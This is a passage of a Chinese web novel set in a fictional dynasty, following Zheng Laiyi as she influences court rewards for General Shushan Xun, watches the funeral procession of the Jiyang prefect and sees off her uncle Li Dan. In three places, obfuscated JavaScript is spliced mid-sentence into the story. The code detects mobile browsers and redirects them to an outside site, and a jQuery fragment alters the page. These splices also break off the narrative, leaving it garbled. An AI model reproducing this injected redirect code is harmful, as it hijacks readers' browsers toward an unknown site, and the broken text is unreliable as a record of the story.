郑来仪点点头,挤挨在父亲身边坐下,一手托腮:“仗打完了,父亲可以多陪陪椒椒了吧?” 郑远持宽慰道:“快啦,等忙完这阵子。” “还没有忙完么?大英雄不都已经入都了么?”郑来仪的眼睛亮晶晶的,一派纯然好奇,“陛下给了叔山将军什么封赏?天下兵马大元帅?” 郑远持失笑,捏了捏她粉嫩的面颊:“你这丫头,元帅这么好当的么?” “做不了元帅么……”郑来仪又一派天真的数着手指头,“那,作一方节度总是绰绰有余吧?” 普通人家的儿女,消遣时光只会玩些叶子牌,打秋千之类的消遣,郑远持这个幺女儿却不一样,从小被父亲抱在膝上处理公文,整日里耳濡目染,对朝堂时局并不陌生。 他将手边卷轴收拢,不答反问:“椒椒觉得,应该封这青云将军一个什么官做?” “封个王吧!”郑来仪不假思索。 郑远持一愣。 “——就封个郡王,将大英雄放在玉京城里,供老百姓敬仰,也能治一治那帮宦官,整日里气焰嚣张,不知在得意什么!” 女儿天真无邪的口吻中,郑远持面上的笑意却淡了下来。 事实上,对于这位青云将军应当给与什么样的勋封,皇帝已经在征求一众心腹的意见。左仆射房速崇抱恙在府,自己便是首当其冲。郑远持这几日一直在思索这事。 这丫头看似随口一说,却说中了目前最符合他心意的解决方案。 册封郡王,彰显尊荣的同时,郡王爵位不能世袭;将人留在京畿,直接斩断其与旧部的联系,避免出现第二个段良麒,又能在玉京与袁振的禁军相互掣肘。 叔山寻将麒临军残部一举带入关内,却又将大队人马停驻在玉京城外,只身入都。看似在向朝廷表明诚意,却又不急于将人马交托禁中,更是敢于在金銮殿上婉拒皇帝的示好。 集英殿上初次见面,他就能意识到叔山寻绝非简单人物。 如今的朝堂,表面平静之下是迭起的暗潮,而叔山寻的到来,正在悄悄改变已有的格局。 郑国公与虢王的关系人尽皆知。实际上,若不是因为夫人李砚卿,郑远持并不欲和这位刚愎自用的舅兄过多联系,更并不欲直接介入青云将军和淮南防御使之间紧绷的关系。 他郑远持能屹立朝堂三十余载,凭的绝非仅仅是气运。 一旦文书上奏,他的态度也就此鲜明。在与叔山寻正面交锋前,郑远持不愿这么草草定下“对敌战略”。 他拍一拍女儿的肩,笑道:“哈哈哈!我的椒椒可真厉害!” 郑来仪一扯嘴角,笑意未达眼底。 上一世叔山寻降叛有功,怀光帝“寄在叔山,恩宠无比”,将其封为槊方节度使,重掌旧部的叔山氏在两次击退异族入侵,立下赫赫战功后,被顺理成章封为天下兵马副元帅,掌握了大祈三分之二的兵力。 父亲不一定真的按照自己的意见陈奏,但她至少能够判断出,这一回叔山氏不能那么轻而易举地拿到兵权。 父女二人在书房中闲话一阵,房门突然被推开。 李夫人掌着灯进来,看见女儿也在此处,怨怪地看一眼丈夫,对来仪道:“天色不早了,不去休息,还在这里做什么呢?” “我陪父亲说话呢。” “越发说得散了神了,有甚么话明日再说罢,快点去睡觉!”李砚卿一边看向丈夫,“——还没忙完么?” 郑远持从案后起身,顺手把女儿拖起来,叹息般道:“忙不完的,这就搁下了,去安置吧。” 一边刮了刮郑来仪的鼻子,“今日多谢椒椒,以后爹爹拿不定主意,还找你来参谋!” 李砚卿闻言狐疑道:“拿什么主意?她能拿什么主意?” 郑来仪一时语塞,郑远持却不无骄傲地语气,“她主意多着呢,眼光毒辣得很!夫人可别小瞧了我们椒椒,连如何安置青云将军,都替为父想得好好的……” 李砚卿心下一动,看了来仪一眼,随着丈夫走到廊下,一边询问的口吻:“夫君可知这青云将军家中有无适龄的子弟?” 跟在父母身后,正跨门要出的郑来仪险些绊住脚步。 就听父亲思索了一瞬,才道:“似乎是有个儿子。叔山寻入都的时候,夫人和儿子都在身边。” “儿子年纪多大?可曾婚配?”李砚卿连忙问。 郑远持哭笑不得,“这种事情莫要冲我打听啊——”他转头看了眼女儿,“——怎么,是椒椒还是绵韵?” 李砚卿也意识到自己和丈夫问这些过于为难了,笑着道,“是花实听说,这叔山将军样貌英武,又是朝廷的功臣,想来有其父必有其子……” 郑远持眯起眼睛,若有所思。 他与身为左仆射的房速崇政见不同,在朝堂上一度泾渭分明,然而在二人矛盾最为不可调和之时,郑国公却将自己的长女薜萝嫁入了宰相府做儿媳。当年郑房两家联姻的消息一出,引起无数议论。 有心人无非是说郑远持利用儿女姻亲,连对手都能成为亲家,这种化敌为友的手段,今后可谓立于不败之地了。 如今这新入都尚不明底细的叔山氏…… “看看再说吧,我的女儿不愁嫁。” 郑远持看了女儿一眼,未置可否。 - 战乱初平,玉京城一派祥和热闹气氛,更甚以往。 平康坊大街的一家酒肆二层,紫衣丫鬟推开包间门,手摇作扇进入屋内。 “这才刚入夏,便热得不成样子!我让店家取冰来了,小姐稍候哈~” 郑来仪倚着窗,百无聊赖。 这几日府中后院里都在谈论绵韵的婚事,尚未展露庐山真面目的叔山家公子,成了府中女眷们口中频繁提及的人物。 李夫人和方姨娘商议着,儿女婚事,总不该让老爷出面,不如就以国公夫人的名义,请叔山将军的夫人上门喝茶,也算一尽地主之谊。 郑来仪听得心烦不已,便拉了紫袖出门散心。 “小姐,这茶不好么?看您都不曾动过。” “我想喝米珠冰酿,给我来一壶。” 紫袖扬眉:“这大早上的,饮酒不好吧,夫人不是说……” “母亲忙着招待客人,哪顾得上管我!”郑来仪烦闷不堪。 紫袖弯了弯眉毛,贴心道,“小姐若是想解暑,我让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186641|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们送一盏酥山来,也是店家的招牌。” 见小姐鼓着嘴不说话,紫袖知道这是不反对的意思,于是出门唤来小二交待一番。再转身回到包厢中,郑来仪不知何时已经起身,正站在窗边朝外看。 紫袖上前两步,跟着主子往外看,这才发现酒肆外的街道两侧,已经被黑甲长枪的禁军士兵列队把守着,汹涌的人流被拦在外,街道上已经空无一人。 “这是出什么事了?陛下要出行么?”紫袖奇怪。 “不像。” 郑来仪抿着唇,视线移向禁军队伍,为首的参将一脸凶相,腰挎橫刀,正带领手下士兵粗暴地将挤到身旁的百姓向外推。 “不要挤!往后退!!不要惊扰了英灵!!” “再挤伤了人概不负责啊!” 皇城脚下的子民见多了世面,有不怕事的围观老百姓好奇地发问,“这位官爷,这阵仗是迎接什么人啊?” 那参将冷笑一声,“人?没听见么,是迎接英魂!” “英魂?谁啊?” “司空大人。” 众人闻言,俱是一脸疑惑。司空大人是哪一位?怎么不曾听说过最近有哪位大官又故去了? 正迷茫间,一位身着礼服的宦者越众而出,走到街道中间,双手持一把错金镶银的仪刀,立于胸前,肃穆严阵的仪官气势。 喧嚣的人群顿时安静下来。 只听那礼仪官清了清嗓子,朗声诵念: “昌顺元年四月十五,顔青沅薨于霁阳,春秋若干。天子闻之,辍朝兴叹,特优命数,宠赠司空。诏发輤车,即日迎柩,列辟卿士,咸会丧焉……1” 还没等那仪官将一篇铭文念完,人群中议论声已然逐渐高了起来。 “顔青沅?是哪一位?” “死后追封司空?这是何等荣耀?这颜大人什么来头?” 一片困惑声中,很快便出现了第一个知情者。 “顔青沅你们都不知?就是那个死守霁阳三十日的霁阳太守啊!” “原来是他!!” “这位颜先生可真是了不起的义士啊!孤立无援,硬生生抗了一个月!这得是多艰难啊!” “要不是霁阳始终坚.挺,哪里能有我大祈将士蛰伏反击的一日?!颜太守名垂千古!!” “天佑我大祈,镇御有方,得将士死力啊……” …… 群情激昂声中,却很快有了杂音,仍是那第一个出声的男子,听他冷笑了一声,语带讥讽:“将士死力?哼,也不尽然。” 无知群众闻言,纷纷问他是什么意思。 “三十日没有一粒粮食支撑,霁阳城是如何坚持下来的?你们以为那守城的将士都是神仙?” 此话一出,人群一时哑然。只听那人幽幽地道:“如今霁阳已经是一座死城,妇孺皆死于同胞手中,百年后再无霁阳后人了……” “这……什么意思?” “顔青沅为死守霁阳,粮食补给全部耗尽,到后来霁阳城中连一根木料、一条革带都找不到了,士兵们饿得眼睛发绿,连枪都提不动……于是他便下令,杀掉无法作战的妇孺和老人,为将士们充饥……” 如此骇人听闻的事实,惊得众人一时间目瞪口呆。 “不、不会吧,这不可能……颜公守土有方,怎会做出这样的决定……” “我妻弟是霁阳人氏,困守之时便在城中。顔青沅为以身作则,第一个亲手杀了自己的发妻,送给士兵们做食物……在他的带头下,兵士们只能效仿,霁阳城内一时如同地狱……” 还是有人无法接受,摇头说不可能,更多的人沉寂下来,面带震撼。 男人最终反问:“不然为何霁阳城破,顔青沅大功告成之后,却横刀自刎于城楼之上?” 辩驳的人也最终哑口无言。 仿佛是印证那男子的话,当顔青沅的灵车仪仗从祈安门入都,自长街尽头出现时,除了朝廷派出迎接英灵的官员和使者,果然不见一名颜氏族人陪伴随行。 长长的队伍中,只有一人身着戎服随着灵车缓缓而行。眉眼冷峻,如化不开的坚冰。 时隔许久,郑来仪终于再次见到了叔山梧。 12. 独往孰碍之 “不是说顔青沅已经没有家人了么?那这位披着斩衰的又是谁?” “据说是颜太守的学生,也在霁阳守备军中任职呢。” “哎哟,这郎君真英武,得八尺有余吧!就是面相有些凶,看得人害怕……” “人家师父去世,怎么还笑得出来?” “他那眼神,看着不像伤心,倒像是要杀人呢!” “……” 话题的重心已经转移,郑来仪凭栏而立,静静看着队伍中那个鹤立鸡群的身影。 一个月未见,他的下颌冒出了青色的胡茬,周身透着浓重的疲惫感,整个人瘦削落拓了不少,日光打在他高挺的眉骨和鼻梁,衬得一双眼睛愈发幽深如渊。 比起鹤臯山中初见,此时的叔山梧已经大不一样,彼时一身飒爽自由的少年气质已然难寻,除了眼神中难掩的锋锐。护送灵柩的队伍在迎着朝阳行进,可他却似乎始终处于阴影之中。 是她熟悉而又陌生的那个叔山梧,在她重生后时常出现在噩梦中的那个叔山梧。 紫袖听着人群中嘈杂的议论,轻声问:“小姐,当真会有那么不近人情的人么?为了守城,连自己妻子都能杀来献祭?” 郑来仪收回视线,平静无波的语气:“杀妻以证道,果然一脉相承。” 紫袖没有听懂,却也并未追问,从南边回来之后,小姐的性情就变得难以琢磨,总说一些她听不懂的话。于是也没有深思,只提醒小姐,送来的酥山要化了,趁着口感正好赶紧用吧。 郑来仪却起了身,淡淡一句“吃不下了”,便出了包厢。 - 虢王最终采纳了郑国公的建议,向怀光帝上奏,请求追封颜氏勋臣,享将军卤簿、司空法驾,由百官临吊,厚葬英灵。 怀光帝对自己这位堂兄的识大体十分满意,爽快地允准其所请。然而不出郑远持所料,有人做得比虢王更甚一步。 因着顔青沅遗体入都,皇帝为表哀思辍朝三天,郑国公府在这三日内却是门庭若市。 先是吏部前来探听的口吻,因左仆射房速崇一直抱恙,只能来向国公爷打听圣上对这位青山将军,到底预备如何安置。 杜昌益满脸愁容,带着手下的两个兵部郎中一道来了。青山将军带来的十四万大军就地驻扎在城外,谁的面子都不给。京兆尹如同惊弓之鸟,不敢直接去找他们的统帅,只好找到兵部尚书,说再不给个如何安置的说法,就要上御史台弹劾他杜昌益不作为了。 郑来仪回到府中,经过前厅时看见里面一从从的人,郑远持陷在人群深处,靠坐在院厅顶头的一把圈椅中,满脸不堪应付的神色。 现在说话的是礼部侍郎,正一脸为难地诉苦,不无抱怨的语气。 “按照惯例,奉诏改元是要祭天酬神的,眼下又撞上迎接功臣遗体入都,两件事凑在一处,各种典仪制度都无先例可循,眼下灵柩已经入都……” 抱怨的对象正坐在另一把圈椅上——袁振一身绛红官袍,不紧不慢地抿了一口茶。 “韩侍郎,我朝自开国建都,经历多少前无古人后无来者之事,你身为礼部侍郎,这些仪制规程,怎么还要来叨扰国公爷?” 韩侍郎看一眼坐在郑远持旁边的袁振,敢怒不敢言。若不是他,礼部也不会如此兵荒马乱。 继虢王李澹奏请厚葬追封颜青沅后,袁振又出奇招,向陛下进言称“颜司空节见时危,为彰君臣之义厚莫重焉,何不赐其陪葬建陵,以旌勋臣?” 怀光帝沉思半晌,点头认可了袁振的提议,至于细节,让他去和礼部具体商议。 袁少监得了好,却让礼部乱了方寸。 韩侍郎终于忍不住:“可此事并未与颜司空的遗属沟通过,如今卤簿停在西郊皇陵外,一时也等不得……” 袁振闻言竖起眼睛:“沟通什么?颜司空哪儿来的遗属?” 韩侍郎尚未答话,阍者匆匆从门外进来,向国公爷禀告又有客来。 郑远持皱了皱眉,本欲吩咐请人改日再来,听到阍者禀明来客身份,迅速看了一眼袁振,沉声道:“请人进来吧。” 众人突然安静,视线一齐停在踏入厅内一身玄素的男人身上。 郑远持缓缓打量着厅中站着的人,眉眼间突然和煦的笑意:“这位小将军便是颜司空的爱徒?” 叔山梧脊背挺直,回视上首两把圈椅中坐着的人,森冷眉眼停在袁振的脸上,叫袁少监不由打个寒战。 “是。” 郑远持毫不在意眼前人有所失礼的表现,面上笑意加深,反而是一旁的袁振坐不住,尖声道:“便是你对朝廷给颜司空的安排有不满?” 这话里直接给人扣帽子的意思明显。在场者皆为叔山梧捏了把汗。 却见他举起手中一只锦缎包围的卷轴,并不入袁振的圈套:“霁阳守备军奉旨护送师父灵柩入都。只是礼部的这篇铭文,其中论述有违事实,蒙蔽圣听、欺瞒天下,有辱英灵。” 一旁的韩侍郎忙不迭撇清干系:“此文非我礼部所拟,是袁少监主笔!” 袁振已经从圈椅上起身,伸出一根细长的手指指着叔山梧,喝道:“大胆!司宫台奉旨为颜司空立志,你小子竟敢如此污蔑咱家!!” 叔山梧冷冷看他一眼,展开手中卷轴,沉声念着上面拟就的墓志铭。 “……顔青沅以良家子选羽林郎,骑射绝伦,材官入仕,便蕃左右,趋奉阶闼。披荆榛而执殳,冒风雨而持盖,中原行在,实掌禁戎……” 念完这一段,他从卷轴中抬起眼,冷声道:“师父出身北境,十六岁入槊方军,后调任祈州都知兵马使守霁阳,何曾如你所写一般,以良家子出身成为禁军一员?!” 郑远持好整以暇地端起手边茶盏。热气氤氲中,他的目光投向这个初生牛犊一般的少年将军,唇边浮起一丝隔岸观火的笑意。 袁振恼羞成怒:“禁军乃天子近卫,非他军可比,说他顔青沅出身仕汉羽林郎,难道还委屈了他?!” 在场众人心如明镜,袁振此举,本意绝非为颜司空增添履历那么简单,实则是要为他所掌的禁军贴金而已。 英雄不问出身,禁军却需要这样一个护国功臣,在历时八年中州自始至终沉默的麒临之乱中,彰显自己的功绩。 本以为顔青沅已无家族亲眷,此锦上添花之举顺水推舟,无人会来置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郑远持掀眉看了郑泰一眼:“已故霁阳太守顔青沅的学生。怎么了?” “果然没认错,他真是霁阳守备军的……” “你见过此人?” 郑泰神色有些激动:“见过啊!老爷,老奴和小姐在鹤臯山遇见的就是这位小将军!” 郑远持站起身来:“果真?” “就是他,老奴不会错认的!” 在郑泰的描述中,那位小将军神采英拔、气度不凡,可是后来又听方姨娘说,来仪对这人的评价倒是不大一样。 原话是:身长五尺、膀大腰圆,像西市卖猪肉的。 郑远持回想方才厅中少年的气度,这一回女儿实在有失偏颇了。 “方才倒忘记问他姓名了……” 郑泰挠着头:“我记得那时他说过,好像叫……叫……叔山什么?”当时情急,仅听了一遍,事情过去太久,此刻竟然想不起来了。 “叔山?” 郑远持一时敏锐的眼神,这个姓氏可不多见。和青山将军同姓,天下竟有如此巧合的事? 13. 遗患日月长 颜司空的灵柩终于顺利停入建陵。 告病在家许久的左仆射房速崇也回归朝中,皇帝召集众臣一番商议后,给叔山氏的封赏也尘埃落定。 封叔山寻为平野郡王,于崇业坊赐府邸,再赐田产、庄园若干。 兵部终于如愿以偿地得到了明示:十四万叛军旧部,交由兵部整编后悉数换防,五万纳入禁军驻守京畿,其余调至各军镇戍卫边关。 除了给平野郡王的调令,还有对北境军镇的将领调整——原出身“麒临系”的几位将军被调离原籍,舜王李肃坐镇东都,统领河南、河东、河北三道,虢王李澹则调任槊方节度使,兼领广袤的陇右道。 朝廷这一番排兵布将,与前世大略相同。郑来仪略微舒了口气。 或许是自己对父亲的暗示起了作用,也或许朝廷本就有意压制边镇出身的军阀,更多依赖宗室,让李氏子弟分统边境诸道。 唯一尚难干预的事,是虢王李澹前世在戍边节度的任上遭遇偷袭,最终伤重不治,死于北境战场。 - 这日午后,阳光晴好。青岫堂内,郑来仪陪在母亲身边,看她从那只紫旃檀的大木箱中取出了一匹缎子。 料子是恒州织造进贡的,工艺繁复,颜色明丽,难得的是在光照下熠熠生辉,还有个好听的名字——孔雀罗。怀光帝听说郑国公家女儿多,便赐给了他。 李砚卿笑说,这匹孔雀罗是陛下给来仪留的嫁妆。 “怎么不说是给绵韵的?”郑来仪不以为然。 “给谁都好——”李砚卿想起来仪近来的表现,将料子收进箱子中,略正色问她,“你和绵韵年纪差不多,真的没有什么想法么?和娘说说……” 郑来仪看着母亲认真的神色,正不知如何回答,外面突然来人了,说有客来访要拜见夫人。她暗中松一口气。 “什么人?” “是平野王妃。” 李砚卿走进花厅,只见一个翠微垂鬓的明丽妇人身披轻纱罗帔,一袭束胸紫裙曳地,看见主人到来连忙起身,群腰上的珠串随着动作发出清脆悦耳的响声。 应当便是叔山寻的夫人容絮了。 “拜见国公夫人。” 李砚卿伸手将屈膝行礼的容氏扶起来,语气和煦:“还未恭贺王爷,王妃倒先来了。” “岂敢!夫人客气了,我们初来乍到,在玉京人生地不熟,还仰仗国公爷多关照。” 容氏面带笑意行完礼,一时显得有些拘谨。 李砚卿一边请坐,和煦的口吻:“听我家老爷说,王爷英雄气概令人折服,就连陛下都十分敬重呢,也不知何时有幸谋面。” 容氏闻言,叹气道:“王爷常年征战边疆,朝中这些人情世故是半分不懂的,什么时候得罪了人都不知,承蒙陛下宽厚,能忍他这脾气!若无前辈指点,日后恐怕步步难行……” “王妃言重,当今陛下一向宽仁,郡王爷勤王有功,是我大祈武将的榜样。” 容氏看向李砚卿,语气多了几分推心置腹:“夫人应是知道的,我家王爷出身麒临军中,这样的背景难免惹人置疑。如今虽蒙陛下恩赐,留居玉京,何尝不是如履薄冰?” 李砚卿沉默下来,她知道叔山寻夫妇的顾虑。朝廷对“麒临系”的忌讳明眼人都能看得出来,自己的兄长李澹在霁阳之围中那样的表现,皇帝依旧不计前嫌委以重任,将十万兵交到他的手上,这就是最好的例证。 厅中气氛一时有些压抑,容氏见状,眼神示意身边丫鬟,捧了一个匣子近前。 她将匣子打开,里面是两支卷轴,先取出一支来:“寻郎忝获王位,郡王府中预备上烧尾,也想请各位同僚前来赴宴,妾准备了食账。只是头回筹办这样的宴席,担心有差错,想来想去,只好来请您帮忙把把关。” 按照惯例,官员升迁,府中承办烧尾宴,宴请同僚联络感情,同时也要专门预备下一份菜色进献宫中,以回馈圣恩。 一般食账由夫人做主即可,平野王妃此举,显是尤为慎重。 李砚卿接过容氏递来的卷轴展开,大致过目,一共六十道菜式,集结了南北各式风味,又兼有如今中州最为时兴的菜色,是用了一番工夫的。 “王妃有心。这些足够丰盛了,只是进献给陛下的菜色宜清淡些为好,这些年陛下注重养生,一度茹素,现今许多油腻重口的东西都不碰了。”李砚卿好心地告知。 “多谢国公夫人提点,妾记下了。”容氏面露感激,一边又捧出另一本薄薄的烫金册子,“这是王爷专程给国公府的请柬,烧尾宴定在六月初八,届时恭候国公爷夫妇和小姐们前来。” 李砚卿将请柬合拢,心中只道正喊瞌睡就送枕头来了,面上却不显,玩笑语气道:“丫头们平时骄纵惯了,没得出门惹人笑话,别搅合了王爷的重要场合!” 容氏闻言也松弛了不少,笑道:“夫人说得哪里话,早就听闻国公府小姐聪明伶俐,是玉京贵女中拔尖的人物!唉,可惜妾是个没福的,养不出这样可心的女儿来!” “哦?郡王爷竟一个女儿也没有?” 容氏叹息:“王爷正当盛年,王府里也没有其他的姐妹,王爷不愿妾操劳,一向无可无不可,都说女儿是贴心的棉袄,恐怕王爷和妾这辈子是穿不上了……” 李砚卿淡淡打量着面前的平野王妃,她看年纪不过四十,保养甚是得宜,听方才话里的意思,平野郡王夫妇二人感情应是不错,于子嗣上倒是随缘的。 于是掩嘴笑道:“将门虎子,世子也当是英雄气概的人物,不知年纪几何?有未婚配?” 容氏面上闪过一丝复杂神色:“大郎刚行过冠礼,尚未婚配。二郎……” 她言语间似有犹豫,而后摇头苦笑,慈母多败儿的口吻:“我们家的儿郎才真是从小放养,不通规矩,提起来我就满脑门子官司,不提也罢!” 李砚卿闻言笑了笑,当下也便不好再追问,只想着等赴宴那一日,好好观察观察叔山家的公子。 二人又闲话了几句,容氏便起身告辞。李砚卿热络地将人送至门口,看着马车起程,方才转身回去。 这一边容絮回到郡王府,下车入院,一边问迎上前的家丁:“王爷呢?” “和客人在书房叙话。” “什么客人?” “……不知。” 容絮点点头,径直回了内院。叔山寻议事时向来不许旁人打扰,饶是最亲近的人都不例外。 平野郡王府的书房是一个单独的二进院落,角落辟一扇门,直通崇业坊后街。今日叔山寻接待的客人便是从后门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233040|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来,行迹十分低调。 屋门紧闭,院中只有鸟雀鸣叫,不闻一丝人声。 书房内,叔山寻靠坐榻上,一手撑着额头,看不清神色。 他面前站着一个身型壮硕肤色黝黑的男人,脸上一道狰狞的刀疤,从额角一路划至耳际,揭示他曾经遭逢过的惊心动魄的生死搏斗。刻意低调的圆领袍似乎不太合身,紧紧贴在身上,显出结实的骨骼肌肉,似乎这样的体型,常年戎装才最相宜。 “将军此话何意?真要末将替那脓包去卖命?!我田衡做不到!!” 叔山寻抬头看向对面人,眸如寒星,冷声道:“你想怎么样?你是军人,要违抗军令么?” “若不是将军,他李澹要捅下多大的篓子?!就这样朝廷还让他带兵去槊方,哼!真当那些图罗兵是纸糊的么?!” 田衡一甩手,语气中抑制不住的愤懑:“我看皇帝是老糊涂了!” 叔山寻看着一脸不忿的田衡,点头道:“好,那你便不要去,什么军籍调令统统去他妈的!就留在本王身边,等着朝廷将我们这些麒临余党一网打尽。” “将军!” “这里没有将军,只有郡王爷!”叔山寻厉声。 田衡突然眼眶发红,“扑通”一声跪了下来:“老大,田老二跟您冲锋陷阵十多年,杀过的蛮子兵没有上千也有九百!难道您真的甘心被他们困在这玉京城,作一辈子闲散王爷么?” 叔山寻靠在案上的一只手缓缓攥紧,骨节发白。他沉默地看着自己曾经的部将,突然起身走到了墙幕前,仰头看着上面那副巨大的大祈舆图,北境沿线密密麻麻画着红色的叉。 “段良麒称兵内侮,未必素蓄凶谋,是故地逼则势疑,力侔则乱起,事理不得不然也1……” 田衡神色一凛。叔山寻所言,在麒临旧部中心照不宣,然而这样的话,是不能公开言明的。 段良麒起兵造反,未必是野心蓄谋,中州势弱,而境外异族虎视眈眈,边境军镇身处其间,许多事均是时势使然。 如今朝廷意识到这样的危局,要亡羊补牢,让宗室子弟掌兵权,何尝不是另一种饮鸩止渴。 叔山寻面上浮起冷笑。半晌转过身来。 “田衡,你我皆知李澹是何等货色,由这样的人掌兵,是什么样的结局且等着看。” “如今人为刀俎,若不甘就为鱼肉,只能另寻他法。” 田衡一怔,而后狠狠点头,沉声道:“末将明白!”他喉头突而哽咽,“……老田只是,不忍见将军受委屈!” 叔山寻摇头:“出了这道门,你便是槊方军的田衡,往后也再没什么‘青山将军’,留着你这条命,总有再见到我的一日!” 他伸手拍了拍田衡肩头,而后扶住他的胳膊,将人带起了身: “振作些!终于能回去了,还不开心么?” 田衡胡乱揩了下眼角,吸了吸鼻子:“长烟落日千嶂里,无定河边是故土……我老田终于能回家了!可惜,颜公他再也回不去了……” 听到昔日同袍顔青沅的名字,叔山寻眉宇间的刚毅冷静逐渐消失,取而代之的是隐忍的痛楚。 田衡知道顔青沅之死是叔山寻心中隐刺,深吸口气,换了副语气问道:“您如今在玉京建府,阿梧他,也终于可以回家了吧?” 14. 贤王入楚关 作为叔山寻身边最亲近的部将,田衡也只在叔山梧幼时见过他寥寥几面。 幼时的叔山梧孤僻寡言,比起父亲叔山寻刚毅英挺的北境男儿气质,二郎却生来面皮白净,身型单薄,五官更是略显秀气,完全不像是叔山寻所出。唯一相似的,恐怕只有眼神中的骄傲和戾气。 叔山寻对待这个儿子,外人看了都觉得太过苛刻。叔山梧幼时某日偷偷溜到集市,不知从哪个胡商手里得来一支筚篥,揣在怀里带回了家,叔山寻看到后大发雷霆,说他“玩物丧志”,将筚篥一把撅断,罚二郎不认错不许起来。 结果叔山梧梗着脖子,硬是在院中跪了一整夜,最后是前方突发军情,叔山寻不得不走,府里的奶妈才趁机把二郎拉了起来,那时不满五岁的孩子,膝头已经跪成了紫萝卜。 十二岁时,叔山梧拜顔青沅为师,随他入军中,正式离开家门,此后便音讯寥寥。 阿梧在边关过着登锋履刃,刀口舔血的日子,做最危险的捉生将,战场上事死不事生,拼杀不留余力。每当千里之外的家书辗转送至军营,大家一哄而上,争抢着父母妻儿传来的讯息,只有他一人站得远远的,与这样的热闹全不沾边。渐渐地,同袍战友都以为他是无家可归的孤儿。 没人知晓他出身背景,更不知他父亲便是闻名北境的青云将军。 这父子俩关系何至于紧张如此,就连叔山寻的身边人都很难看得明白。 面对下属的关心,叔山寻语气干涩:“他护送颜兄灵柩入的都,一直宿在官驿。” 田衡哑然,半晌只好劝慰的口气:“阿梧性子倔,颜公之死对他打击太大,其实这孩子又何尝不是和您一样的脾性?只是这些年和您相处太少了,慢慢来,会好的……” 叔山寻神色复杂,只是淡淡摇了摇头。 - “真的不去了么?” 绵韵站在床头,第三次向来仪确认。 她一大早到盈升阁来找郑来仪,就见她赖在床上,说身子不舒服,今日去不了平野王府的烧尾宴了。 “真的去不了,难受啊,癸水来了……”郑来仪脸朝下趴着,声音闷闷地传出来。 郑绵韵皱着眉,母亲千叮咛万嘱咐,今日机会难得,一定要好好打扮,精心准备。可这样的场合本就拘束,若是没有来仪陪着,她也是极不情愿去的。 正想着怎么找借口也推辞不去,李砚卿从外面进来了。 “这丫头,前面到处找你,怎么跑到这里来了。” 郑绵韵转身:“母亲,我……” 李砚卿一看她神情就知道什么意思,直接截断她话头:“你也不舒服了?” 绵韵被戳穿,脸一红,透过李砚卿的身型看见来仪狡黠的目光,似在偷笑。 “母亲!来仪她——” 郑来仪拦住绵韵的话头,捂着肚子不无惋惜的语气:“唉,若不是这倒霉事,这么好的机会我可不能错过,今日平野郡王府里,定然去了不少世家郎君呢……” 绵韵垂头丧气,就是因为会有许多小郎君,自己一个女孩子家,实在局促,到时候也只能跟在夫人身边陪着长辈说话,自己这陌生人面前张不开嘴的性子,可实在压力太大了。 可如果不去,还不知道要被自己母亲念多久。 郑来仪看着绵韵不情不愿地跟着父母亲出了门,算时间也应当走远了,当即一骨碌翻身坐起,动作快得把一旁的紫袖吓了一跳。 “小姐,您——” 她整理了一番便风也似地出了门,扔下一句:“我出去一趟,天黑前就回,不用你跟着!” - 射金门外,旌旗浩荡,鼓角悠扬,十万将士披坚执锐,甲光炫日,静待开拔的号令。 虢王李澹一身明光铠,从宦者手中接过巨大的将军印信。 初夏的天气已是燥热,盔甲下的额头已经沁出细密的汗珠,而他满意的望着眼前军容整肃的部队,似对这点热度毫不在意。 正要下令开拔,突然听见身后响起清脆的声音。 “舅舅——!” 李澹转过头,只见洞开的城门内跑出一个人来,一袭湖蓝的襦裙,轻灵跳脱如仙子。 “椒椒?” 郑来仪小跑着到了李澹的马前,仰起头看着马上人,呼吸尚有些急促。 “终于……赶上了……舅舅,椒椒今日是来给您送行的!”她提起腰间的一只小巧的酒壶,俏皮地冲着李澹眨了眨眼。 李澹翻身下马,笑着揉了揉郑来仪的头顶:“乖丫头!来给舅舅尝尝,带的什么好酒?” 他将酒壶口凑到鼻端,一股辛辣气味冲天而来。 “哈哈哈,不愧是椒椒,给舅舅送椒浆来了!” “舅舅此去北境,山高路远,愿您身体康健平安顺遂,拒敌于千里之外,为我大祈多立战功!” 李澹仰头饮下一口,开怀不已:“好!好!好椒椒!舅舅借你吉言!!哈哈哈哈!!” 郑来仪看着一身戎装的舅舅,又语气认真道:“父亲总说,眼下大祈尚未完全太平,正是武将建功立业之时,可见陛下对舅舅的看重。战场形势瞬息万变,胡人狡诈善战,舅舅一定要多多保重!” 李澹一愣,这外甥女语气稚嫩,说的话却有几分劝谏警醒的意思,他再身为长辈也难以玩笑视之,方也正色道:“舅舅晓得,椒椒莫要担心。” 言尽于此,郑来仪也不能再多说什么。 虽然因为霁阳之围,她心中对这个舅舅颇有埋怨,但当得知今日是槊方军开拔的日子,想起上一世他死于边关的结局,无论如何要亲自来送一送李澹。 